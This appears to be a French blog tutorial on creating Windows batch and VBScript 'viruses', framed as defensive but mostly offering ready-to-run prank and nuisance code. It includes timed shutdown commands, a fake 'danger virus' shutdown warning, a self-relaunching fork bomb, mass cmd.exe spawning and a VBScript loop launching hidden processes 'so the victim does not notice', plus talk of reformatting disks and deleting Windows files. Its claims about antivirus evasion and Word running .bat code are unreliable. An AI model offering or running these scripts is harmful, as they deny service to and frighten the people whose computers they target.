Translate

Creation des Virus BAT :


Pour ceux qui ont consulté le dossier hacking, vous l'aurez compris, pour hacker il faut avant tout une bonne expérience en programmation !

Ce qui n'est pas le cas pour la programmation des virus BATCH portant l'extension *.bat, et c'est bien là tout le problème !
Ces virus sont d'une simplicité déconcertante, peuvent être tout ce qu'il y a de plus dangereux et sont imperceptibles par les antivirus, FireWall (pare-feu), etc !

C'est donc pour cela que vous ne trouverez pas ici comment créer votre premier virus *.bat mais vous apprendrez à les découvrir, à en mesurer leur puissance et à savoir vous en protéger...

Tout d'abord, qui sont-ils et comment sont-ils créés ?

Un virus *.bat est programmé en DOS ! Le DOS, seigneur du Windows, est un langage relativement simple pour de courtes applications au sein de l'environnement Windows. En une ligne de 2 mots de DOS, on peut reformater un PC ! Il utilise l'environnement Windows et peut tout reproduire, il est le coeur de Windows. 
Voici donc ce que l'on peut faire avec DOS, tout et même plus que vous ne pouvez faire vous-même sur votre PC !
Un programme BATCH est une suite d'exécutions ms-DOS. Il ne se compose que d'ordres qui s'exécutent les un aprés les autres.

Comment créer un virus *.bat ?

Pour créer un tel fichier, rien de plus simple ! Il vous suffit d'ouvrir le bloc-note de Windows (win+R > "Notepad" > OK) et de rentrer les ordres.
Ensuite, vous faites Enregistrer et vous entrez un nom sous la syntaxe *.bat !

Vous avez créé un fichier BATCH qui exécutera un à un les ordres que vous aurez inscrit lorsque l'on essaiera de l'exécuter !

Mais que sont exactement ces ordres ?

En voilà une question qu'elle est bonne ! Comme je l'ai dis plus haut, je ne donnerais pas directement ici les ordres qui pourraient être mal utilisés mais seulement quelques exemples.
Un fichier *.bat destiné à servir de virus commence toujours par la ligne @echo off. Afficher cette dernière en en-tête permet de rendre l'exécution du script invisible, les tâches ne sont pas affichées à l'écran.
C'est ensuite une série d'appel de fonctions qui s'exécutent.

Par exemple, ce code affiche le texte "Coucou", marque une pause en demandant à "l'utilisateur" de presser une touche et crée un dossier "Salut" sur le bureau :
@echo off
echo Coucou
pause
mkdir C:\Documents+and+Settings\UTILISATEUR\Bureau\Salut


Le DOS utilise l'invite de commande,
c'est donc à travers elle que s'executeront les commandes :

Pour atteindre l'invite de commande, faîtes win+R > "cmd" > OK.

Pour pirater, détruire un PC, DOS ne propose bien entendu pas des fonctions exprés ! Ce sont en fait des fonctions anodines que vous utilisez tous les jours qui serviront à faire fumer votre PC. Par exemple, une création toute simple de dossier ! Imaginez que vous ordonniez 1 000 000 de créations de dossiers sur le PC ! Celui-ci sature, le disque dur fume et le PC est naze, c'est pas plus compliqué que ça :) ! Bien entendu, on peut aussi très bien faire reformater le disque choisi ce qui permet une perte totale des données du PC...

D'autres solutions existent comme la destruction du dossier WINDOWS ou des fichiers *.dll ce qui provoque une perte totale du controle de la machine.
Ce qui nous expliquent pourquoi les antivirus ne les détectent pas ! En réalité, ils les voient mais ne les considérent pas comme des virus ! Hé oui, utilisant les fonctions de Windows, on ne peut pas se permettre de les désactiver ! Il faudrait alors désactiver la fonction de création de fichier, de suppression etc ce qui est inconcevable !

Les virus se présentent donc sous forme de petits fichiers systèmes portant l'extension *.bat.
Mais ce n'est pas aussi simple :) ! On peut effectivement très facilement insérer un virus de cette sorte dans un fichier Word à l'extension *.doc. Lorsque que le fichier est ouvert, le code est exécuté par Word, le virus est donc activé !

Donc, seule la vigilance compte, n'ouvrez pas n'importe quoi, vous êtes le meilleur antivirus qui soit !

Le principe des virus BATCH est à présent un peu démystifié, vous connaissez maintenant les possibilités de vos ennemis et vous savez donc mieux comment reconnaitre un virus *.bat.

Je ne peux pas en dire plus, mais si vous réusissez à créer votre premier virus, soyez en fier si vous le désirez mais dîtes-vous aussi que c'est le dernier. 
Si vous y êtes arrivé, c'est que vous avez des chances d'être un passionné d'informatique, alors pensez que c'est vraiment con de détruire ce que l'on aime... 
Ceci dit, on peut aussi très bien s'amuser sur un copain sans ne rien faire de mal ... c'est autre chose :) ! 
Une création de virus est passible de plusieurs années de prison et d'une amende probablement au dessus de votre bourse.

Outre les fichiers BATCH, de nombreux supports sont utilisés pour programmer des virus comme les ActiveX, le Visual Basic, les virus en *.com, etc ! Ceux-ci permettent notament de s'exécuter au travers d'une page HTML, de modifier le registre, etc !
Mais cela fera l'objet d'un autre article...


EXEMPLES DES PETIT VIRUS MAIS EFFICACE:

tout d'abord je tient a préciser : les virus que je vous présente ci dessous ne sont pas NUISIBLE a vôtre pc , ce sont juste des virus que je surnomme "virus blagueur" car cela peut faire peur mais une fois le pc éteint , plus rien , si , il reste l'icône mais c'est tout ;) 

1) virus qui éteint le pc dans le délai souhaité : 
ouvrez le bloc note 
écrivez ceci :shutdown -s -t (et la vous mettez le temps souhaité en seconde !) 
exemple :shutdown -s -t 120 et le pc s'éteint automatiquement dans 120secondes ! 
mais il faut l'enregistré sous le buro sous un nom qui se termine en .bat et cliké dessu évidement ^^ 
2) virus un peu surprenant mais pas si térifiant : 
idem , ouvrez le bloc note mais écrivez ceci : 
@echo off uuuuuuu 
echo uu$$$$$$$$$$$uu 
echo uu$$$$$$$$$$$$$$$$$uu 
echo u$$$$$$$$$$$$$$$$$$$$$u 
echo u$$$$$$$$$$$$$$$$$$$$$$$u 
echo u$$$$$$$$$$$$$$$$$$$$$$$$$u 
echo u$$$$$$$$$$$$$$$$$$$$$$$$$u 
echo u$$$$$$" "$$$" "$$$$$$u 
echo "$$$$" u$u $$$$" 
echo $$$u u$u u$$$ 
echo $$$u u$$$u u$$$ 
echo "$$$$uu$$$ $$$uu$$$$" 
echo "$$$$$$$" "$$$$$$$" 
echo u$$$$$$$u$$$$$$$u 
echo u$"$"$"$"$"$"$u 
echo uuu $$u$ $ $ $ $u$$ uuu 
echo u$$$$ $$$$$u$u$u$$$ u$$$$ 
echo $$$$$uu "$$$$$$$$$" uu$$$$$$ 
echo u$$$$$$$$$$$uu """"" uuuu$$$$$$$$$$ 
echo $$$$"""$$$$$$$$$$uuu uu$$$$$$$$$"""$$$" 
echo """ ""$$$$$$$$$$$uu ""$""" 
echo uuuu ""$$$$$$$$$$uuu 
echo u$$$uuu$$$$$$$$$uu ""$$$$$$$$$$$uuu$$$ 
echo $$$$$$$$$$"""" ""$$$$$$$$$$$" 
echo "$$$$$" ""$$$$"" 
echo $$$" $$$$" 
ping localhost -n 30 > nul 
start virus .vbs 

cela ouvrira une page noire avec plein d'inscriptions ;) ( bien entendu enregistré sous le nom que vous souhaitez .bat sur le buro et cliké pour activé ) 

3)the HOT discute 

ouvré bloc note 
écrivez : 
msg * et votre texte autant de fois que vous voulez qu'une page avec le texte écrit souvre ( exemple: 
msg * jtm 
msg * moi aussi allé a + 
msg * kiss you 
msg * a toi aussi 
msg * g envie de toi 
msg * moi aussi 
msg * t parent son la 
msg * non chez d potes 
msg * jusqu'à quelle heure ? 
msg * demain 
msg * on a quartier libre 
msg * O_O j'ai attendue que tu dise sa 
msg * t'accepte 
msg * et pas que un peu 
msg * j arrive mon amour 
msg * oui je t attend 
msg * mais c sur seront pas la avant ? 
msg * sur 
msg * ok 
msg * tu fait le mur mur ou t arrive normal ? 
msg * le mur 
msg * vite 
msg * oui j me grouille ^^ 
enregistré sous le buro en finisant par .bat ^^ 

4) pages nombre ??? 

ouvrez le bloc-note 

écrivez 
@ echo off 
start image_01 
image_01 

enregistré sous le nom voulu terminant par .bat et sur le bureau 

une fois cliqué , le seul moyen d'arrêté le "virus" est d'éteindre MANUELLEMENT le pc 

5) pc problème 

cliqué droit sur vôtre bureau , créer nouveau raccourci et nommez le ainsi 

%windir%\system32\shutdown.exe -r -t 120 -c "danger!danger!virus imminent!danger!danger!éteignez l'ordinateur pour être épargner !danger ! danger! éteignez pour stoppé le virus ! danger ! danger ! éteignez votre pc ! danger !" ( entre " " vous pouvez mettre ce que vous souhaitez ;) ) 

et vous devrez éteindre le pc dans les 2 minutes 

6) pleins de pages ouvertes en meme temps 

créer par exemple ceci 

{\rtf1\ansi\ansicpg1252\deff0\deflang1036{\fonttbl{\f0\fswiss\fcharset0 Arial;}} 
{\*\generator Msftedit 5.41.15.1515;}\viewkind4\uc1\pard\f0\fs20 @echo\par 
start\par 
start htpp://www.google.fr/firefox?client=firefox-a&rls=org.mozilla:fr:official\par 
start http://qplaygames.jeu.fr/games/9ball.htm\par 
start http://www.youtube.com/watch?v=5GbhRmD2HhY\par 
start http://www.goodgamestudios.com/poker/\par 
start http://www.jeu.fr/\par 
start http://www.jeu.fr/jeu/flakboy-2.html\par 
start http://www.jeu.fr/jeu/acrobates-de-cirque.html\par 
start http://www.jeu.fr/jeu/zone-desertique.html\par 
start http://www.jeu.fr/jeu/cute-photo-studio.html\par 
start http://www.jeu.fr/jeu/tir-au-but.html\par 
start http://www.dailymotion.com/video/x83mad_prises-de-catch-rates_sport\par 
start http://www.dailymotion.com/video/x5pt4d_les-prises-rates-du-catch_sport\par 
start http://www.youtube.com/watch?v=Gy5hXj9I0CM\par 
start http://www.youtube.com/watch?v=Gy5hXj9I0CM\par 
start\par 
start\par 
start\par 
start\par 
start\par ( vous pouvez mettre plus de choses ) 

sur vôtre bureau en .bat 
Ouvrez le bloc note et inscrivez ceci : 
 
start cmd.exe 
start cmd.exe 
start cmd.exe 
start cmd.exe 
start cmd.exe 
start cmd.exe 
start cmd.exe 
start cmd.exe 
start cmd.exe 
start error cmd.exe 
start cmd.exe 
start cmd.exe 
start cmd.exe 
start cmd.exe 
start cmd.exe 
start cmd.exe 
start cmd.exe 
start cmd.exe 
start cmd.exe 
start error cmd.exe 
 
Enregistrer sous puis enregistrer en .bat (surtout pas .exe) et enfin ouvrer le fichier (qui est sur le bureau) 
 
Et voilà votre premier virus tout à fait innofensif car il n'ouvre que l'invite de commande un certain nombre de fois et le message d'erreur. 

Commencez, par ouvrir votre editeur de text.
Ensuite, tapes le code suivant : 


Set variable = CreateObject("WScript.Shell")
Do
variable.run "notepad",false
Loop


Après, enregistrez le avec le nom que vous voulez, avec l’extension .vbs

Petite précision :

Ici, le bloc-note (celui de windows) représente l'application désirée, vous pouvez la remplacer par une application plus lourde (pour des résultats plus rapides et meilleurs).
false : signifie que les fenêtres ne doivent pas être initialisées, seulement les processus pour que la victime ne se rende pas compte.
Loop : signifie que ça doit se faire en boucle : ça doit lancer le bloc-note, recommencé et ainsi de suite.



Ces virus ont été créé en Visual Basic, si vous voulez aller plus loin dans la création de virus apprenez le Visual Basic (qui est un langage de programmation plutôt simple)

Dans la deuxième partie du cours nous verrons des échantillons de vrais virus bien méchant !

Si vous voulez un bon tuto : "Apprendre le Visual basic simplement" laissez des coms.




Bonne chance

4 commentaires: